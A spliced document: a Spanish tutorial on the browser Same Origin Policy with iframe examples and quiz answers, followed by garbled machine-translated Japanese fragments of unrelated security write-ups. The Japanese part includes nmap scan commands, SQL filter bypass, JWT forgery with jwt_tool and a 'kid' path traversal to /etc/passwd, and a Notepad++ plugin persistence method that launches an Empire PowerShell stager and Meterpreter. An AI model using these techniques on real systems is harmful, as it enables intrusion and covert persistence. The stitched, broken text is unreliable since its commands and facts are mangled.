Vemos como si pulsamos el botón. La acción que se INTENTARÁ efectuar es la de cambiar el contenido del <iframe> por, en este caso, la frase: «Contenido modificado!».
Estamos en la URL:
http://uno.local/ejemplo1.html
Y queremos cambiar el contenido del <iframe> que proviene de la URL:
http://uno.local/ejemplo1-iframe.html
Como hemos visto al principio del post, podemos identificar fácilmente, que ambos tienen el mismo origen. Por lo que no deberíamos de tener ningún problema a la hora de editar el contenido del <iframe>, que… OJO, obviamente no estamos editando el contenido original, solo el del <iframe>.
Vamos a comprobarlo:
Como vemos, se modifica sin problemas. Ya que ambas URL son del mismo origen.
Ejemplo 2 – Distinto Origen
Código fuente:
En este caso, la URL en la que nos encontramos es:
http://uno.local/ejemplo2.html
Y estamos cargando un <iframe> de:
http://dos.local/ejemplo2-iframe.html
OJO, como somos unos máquinas, ya nos habremos dado cuenta de que en este caso, estas dos URL no tienen el mismo origen porque cambia el host.
Aun así, el <iframe> carga sin problemas:
Que es básicamente, lo que hemos hablado en el Ejemplo 1:
«Por ahora, todo normal, ya que, hablando en contexto general, podemos cargar mediante un <iframe> cualquier web siempre y cuando esta lo permita.»
Q si, q lo llevo diciendo todo el pto post, pero mejor que quede claro y no nos confundamos.
Este ejemplo, es exactamente igual que el ejemplo 1. Sin embargo, en este caso, cuando pulsemos el botón, se intentará editar el contenido de un <iframe> cuyo origen es distinto al de la web que lo incrusta:
Vamos a comprobar que ocurre si no es del mismo origen:
Pues vemos que nos salta un error, y es por el Same Origin Policy.
¿Y sí… no existiera el SOP?
Si el SOP no existiera, se tensaría que te cagas, porque literalmente podríamos traernos una web mediante <iframe> (de nuevo, siempre y cuando la web nos deje xdddddddd). Y editar cualquier cosa. Por ejemplo, que cuando le des a enviar, la cuenta de destino se cambiase por la mía:
Por lo que, en definición: Podríamos traernos cualquier web y editarla con toda libertad. Esto no es que hiciese internet un poco menos seguro y tal, es que literalmente lo haría innavegable (y no solo por esto, esto es solo un ejemplo de algo que se podría hacer, pero hay infinidad de cosas mas, como que por ejemplo, tu al visitar una web maliciosa, esta tenga la capacidad de realizar una petición a la web de tu banco, y leer la respuesta, obteniendo así tu información. El SOP no previene que haga la petición, pero si previene que lea la respuesta, como se ha comentado al principio).
Aquí puedes decir, si bueno, pero es una ventana chica, ¿quién va a caer en eso?
Pues, es una ventana chica si lo hacemos cutre, pero si lo hacemos bien:
Pues ya no lo es tanto. Imagínate que esto fuese la web de tu banco, no notarías ninguna diferencia más allá del dominio donde se aloje el <iframe>. Es por esto, que la existencia del SOP es superimportante en cuanto a seguridad web se refiere.
Vamos a ver si ha quedado claro
Ahora vamos a ver 4 ejemplos donde veremos si te ha quedado claro el concepto, y si fallas, pues me debes un kebab.
Okno, fallar está bien, al igual que mirar Write Ups, lo importante es aprender. Volviendo al caso, vamos a ver 4 ejercicios y dejaré la solución al final, apúntate en un bloc de notas o algo si crees que se podría llevar a cabo con éxito el código que se muestra. PD: Estos ejercicios están sacados de la web de web.dev.
Ejercicio 1
Tenemos en el dominio de deephacking.tech, el siguiente <iframe>:
Por último, pero no menos importante, tenemos en el dominio deephacking.tech el siguiente código:
<canvas id="bargraph"></canvas>
Además, también está el siguiente código Javascript que intenta dibujar una imagen en el canvas:
var context = document.getElementById('bargraph').getContext('2d');
var img = new Image();
img.onload = function() {
context.drawImage(img, 0, 0);
};
img.src = 'https://example.com/graph-axes.svg';
¿Conseguirá esta imagen dibujarse en el canvas? Sí o No.
Soluciones UwU
Ok, esta imagen es para que no vieses las soluciones de refilón por si bajas demasiado rápido. Pongo otra por si acaso:
Dicho esto, vamos con las soluciones:
Ejercicio 1: Noup, no se puede, ya que estamos intentando leer información de un <iframe> cuyo origen es distinto al nuestro.
Ejercicio 2: Siiiiipppp, porque como hemos dicho previamente, está totalmente permitido colocar en el atributo action de un form, una web que tenga un origen distinto.
Ejercicio 3: Yeess!! Pero OJO, hay que tener cuidado, ya que dependerá de si la web que estamos intentando incrustar, nos deje o no. Realmente en el ejercicio 1 estaríamos en el mismo caso, pero no era el fin de ese ejercicio mencionar este detalle.
Ejercicio 4: Depende. Este caso dependerá de la cabecera CORS que tenga la imagen, si lo permiten, guay, se puede, sino, lanzará un error.
Conclusión
Sé que este concepto puede llegar a entenderse un poco de forma ambigua y demás, y no solo eso, no es sencillo de entender si nunca has tenido contacto con el DOM mediante Javascript. Pero al menos espero haber conseguido que no solo sepas que existe, sino que al menos tengas una idea básica.
De todas formas, en este post no hemos visto una de las cosas más importantes que a día de hoy va de la mano con el SOP, y es el CORS (Cross-site Resource Sharing), a este le dedicaré (o le habré dedicado si vienes del futuro) un post completo 👍.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
このロジックと
の導入されたtext:ctsvjz0jqghxywbsrcpxpq==で得られた情報
ケース3開発およびデバッグログリーク
//
:01010ログイン機能など。
ケース1 
:010ログインの場合、ユニバーサルパスワード
ケース1-MSSQL注射
Windows+node.js:
関連するリファレンス
があることがわかります
NSEスクリプト:nmapを使用してターゲットオペレーティングシステムを検出します-SCRIPT SMB-OS-Discovery.nse -P 445ターゲットIPアドレス3: SMB-OS-Discovery.NSECTIST SMB TO COMPUTER SEMPITING VIRTIONなど。
USE NMAP -Oオペレーティングシステムバージョンを検出するバージョンNMAP -OターゲットIPスキャンホストNMAPのCVE脆弱性-Script=VulnターゲットIP 
ユーザー名端子ロケーションログインIPまたはカーネル開始時間終了時間は、権限を高めるシステムの脆弱性である場合、ログインに属していない場合、レコードARP -VNクラスタリングチェックは、同じサービスグループを超えてARPアドレスがあるかどうかをチェックします。 MACアドレスはIP固定に対応します。MACがIPに対応していない場合、ARPスプーフィング/etc/ホストファイルストレージドメイン名/ホスト名IPマッピングリレーションシップ
にアクセスできるようにするためのプロキシを使用する必要があります。
1バケットバケット + 2 OSSリソース + 1 ECSリソースCF Alibabaコンソール
の管理者の権利を取得したことを意味します。
ネットワークセキュリティ競争で使用されるツール。前のショットでは、OWASPを使用してターゲットWebサイトをスキャンして脆弱性をスキャンする必要があります。正直に言うと、ページは動いていません。私が何をスキャンしたかわかりません！
もリリースします
ウェブサイトソースコード：index.php:php
には常に構文エラーがあります。トラブルシューティング後、SelectとUnionが空に置き換えることがわかっているため、Double Writeを使用してバイパスする方が簡単です。
（2）ペイロードペイロードは、ユーザー名（test123）payload: eyjzdwiioiijkdwjozteymyj9 
（3）の署名署名が必要なヘッダーを必要とする署名の署名を提供する必要があります。 RS256（RSA非対称暗号化と秘密鍵署名）およびHS256（HMAC SHA256対称暗号化）アルゴリズム。署名の目的は、JWTが改ざんされていないことを確認することです。以下は、HS256を使用してJW=WTを生成するコードの例です。
jwt_tooを使用して攻撃します（このツールは、アルゴリズムに署名せずに元のペイロードデータを変更せずに取得したトークンに適しています）python3 jwt_tool.py eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmrsyw5na2vtcgvylm5sxc8ilcjpyxqioje2n Ji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6indvckin19.llhtxxvqkkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbg -X A 
GET tokenej0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6indvckin19。
取得したトークン確認認証リクエスト3http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php 
python3のpyjwtモジュールを使用してペイロード内のデータを変更し、脆弱性を使用してトークンを再生します
toekn:eyj0exaioiijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlb xblci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwluin19。修復ソリューション：JWT構成は、必要な署名アルゴリズム2のみを指定する必要があります。検証済みの署名ではないサーバーは、JWT署名を確認しません。ペイロードを変更してから、トークンを直接リクエストするか、署名を直接削除して、それがまだ有効かどうかを確認するためにもう一度要求することができます。オンラインツールjwt.io 
を介してペイロードデータを変更します
修理ソリューション：JWTライブラリはこの問題を修正する必要があります4。 eyjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxiiwidhlwiislduiiwiywxnijoiulmyntyifq 
Base64 decoding：decoding： {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851'、 'typ':'jwt'、 'alg'3360'rs256'}ここで、認証タイプはJWTです。キー、キーキッドのパスは次のとおりです：keys/3c3c2ea1c3f113f649dc9389dd71b851k、次に/key/key/3c3c2ea1c3f113f649dc9389dd71b851kおよび/KEY/3C3C2EA1C3F113F649DC9389DD71B851K.PEM5.KIDパラメーターの脆弱性このパラメーターは、トークンに署名するための複数のキーがある場合に役立ちますが、攻撃者はコンテンツが予測可能な特定のファイルを指すことができるため、注射可能な場合は危険になります。 KIDパラメーターはキーファイルの読み取りに使用されますが、システムはユーザーがキーファイルを読み取りたいかどうかを知りません。したがって、攻撃者がパラメーターをフィルタリングしない場合、攻撃者はシステム内の任意のファイルを読み取ることができます。 {'typ':' jwt '、' kid ': '/etc/passwd'、 'alg':' HS256 '} 
token:eyj0exaioiijkv1qilcjrawqioiivzxrjl33bhc3n3zcisimfszyi6ikhtmju2in 0.eyjsb2dpbii6inrpy2fycgkifq.cpsfiq-_mnwm7df6zzhwpl22ibkgf447iw6_egrp6pfq注： /dev /null in linuxシステムは空のデバイスファイルと呼ばれ、何も返さない。任意のファイルを読み取ることができますpython3 jwt_tool.py jwt -i -hc kid -hv '././dev/null' -s hs256 -pc login -pv'ticarpi 'パラメーター説明：次のようなペイロードの宣言変数名：ログイン、-pv宣言変数ログインの値を設定するか、CSSやJSなどのWebルートディレクトリに存在するファイルを使用して、そのコンテンツを使用して署名を確認します。
token:eyj0exaioiiijkv1qilcjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxa3x3ag9hbwkilcjhbgcioiiuziuzi
プラグインをロードするには、フォルダー名とDLLファイル名が同じである必要があることに注意する必要があります。 Notepad ++プラグインパッケージを変更テンプレートとして使用できるため、Redチームの担当者の場合、悪意のあるプラグインをゼロから書く必要はありません。特定のイベントが発生すると、アクションを実行するために使用できるいくつかのAPIがあります。 SCI_ADDTEXTAPI NotePad ++で文字を入力するときにカスタムコマンドをトリガーします。次の例では、文字が挿入されるとメッセージボックスがポップアップします。
の変更されたコードは次のとおりです。クラスmain {static bool executeOnce=true; public static void onnotification（scnotification notification）{if（notification.header.code==（uint）scimsg.sci_addtext executeonce）{messagebox.show（ 'notepad ++ -visk https://pentestlab.blog'）; executeOnce=！executeOnce; }}
Notepad ++プラグインメッセージボックスの挿入例コンパイルコードは、スーパー管理者の特権で実行する必要があるDLLファイルを生成します。
Notepad ++プラグインの場所NotePad ++を開始してキャラクターを入力すると、メッセージボックスがポップアップします。
Notepad ++実行に正常に
Notepad ++ Persistence Trigger MeterPreterは、セッション監視を実行し、通信チャネルを確立します。
Notepad ++ regsvr32メータープレターターゲットホストとの相互作用を開始するために、次のコマンドを実行します
Notepad ++ MeterPreter Shell 
Empire Stager Module Stagerは、帝国で実行されたリスナーを指す必要があり、コマンドを実行すると、ファイルが「Generated-Stagers」フォルダーに書き込みます。
EMPIREを実行- ステージャーの構成と生成生成されたランチャー.sctファイルをターゲットシステムにアップロードし、regsvr32コマンドを介して実行するか、lavinger.sctファイルに生成されたbase64をコピーして、このコマンドを内部的に使用してソフトウェアを避けることができます。
Empire - Powershell base64ペイロードサンプルコード：classmain {static bool executeonce=true; publicstaticVoidonnotification（scnotification notification）{if（notification.header.code==（uint）scimsg.sci_addtext firstrun） -w -l enc base64コマンド実行コード '; process.start（' powershell '、strcmdtext）; executeonce=！executeOnce;}} 
Notepad ++ - プラグインは、コマンドが帝国のスタージャーによってトリガーされた後、エンパイアに新しい相互作用が表示されます。
Notepad ++ Empirempireモジュールのコマンドには、ホストデスクトップのスクリーンショットや、ユーザー名、接続文字列、URLなどの情報などの情報収集機能も搭載できます。
Notepad ++ Empire Screenshot 
Notepad ++スクリーンショット
2番目の関数は、最初にCHZV5OP8ROMLAKB6をグローバルに検索して、どの関数がこの関数を呼び出すかを確認し、さらに検索してシンボルが質問の意味を満たしているかどうかを確認します。対応する関数はUHNCM82SDGE0ZLYOです
6、出かけて自分自身、そして次回の2つの繰り返しの判断があります。その後、3つの呼び出しがあります
次に、メイン関数を見てください
この部分は戻り機能であり、uhncm82sdge0zlyoに電話する必要があります
予想外に、GO環境の最初の1つは、チームメイトが実行すると直接終了します。これはとんでもないことです。
FLAG:
はMagicによって変更され、FukはUPXに変更され、シェルを除去するのは正常でした。
その後、分析します
